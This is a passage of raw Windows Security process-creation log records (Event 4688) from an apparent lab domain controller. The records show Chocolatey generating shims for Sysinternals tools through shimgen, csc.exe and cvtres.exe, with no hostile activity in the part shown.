Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246601 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x838 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\movefile64.exe" --output="C:\ProgramData\chocolatey\bin\movefile64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\movefile64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246600 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDCBE.tmp" "c:\ProgramData\chocolatey\bin\CSCE5751AC7423440D7AABDAE51DFA65554.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246599 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246598 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x44c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\movefile.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_1771\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246597 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x834 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x44c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246596 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\movefile.exe" --output="C:\ProgramData\chocolatey\bin\movefile.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\movefile.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDBE4.tmp" "c:\ProgramData\chocolatey\bin\CSCF3019DDBD9D14989834C80E1A9E43BF.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246637 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246636 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pagedfrg.exe" --output="C:\ProgramData\chocolatey\bin\pagedfrg.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pagedfrg.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246635 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe04 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE356.tmp" "c:\ProgramData\chocolatey\bin\CSC582A59BE7134D0EBCC711F755EFD0.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246634 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe04 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ntfsinfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_8646\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246631 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ntfsinfo64.exe" --output="C:\ProgramData\chocolatey\bin\ntfsinfo64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ntfsinfo64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246630 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb28 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE27B.tmp" "c:\ProgramData\chocolatey\bin\CSCECA90888D4FB43CEAF2A7E9ABAAA575.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246629 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb28 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246628 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ntfsinfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246627 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - 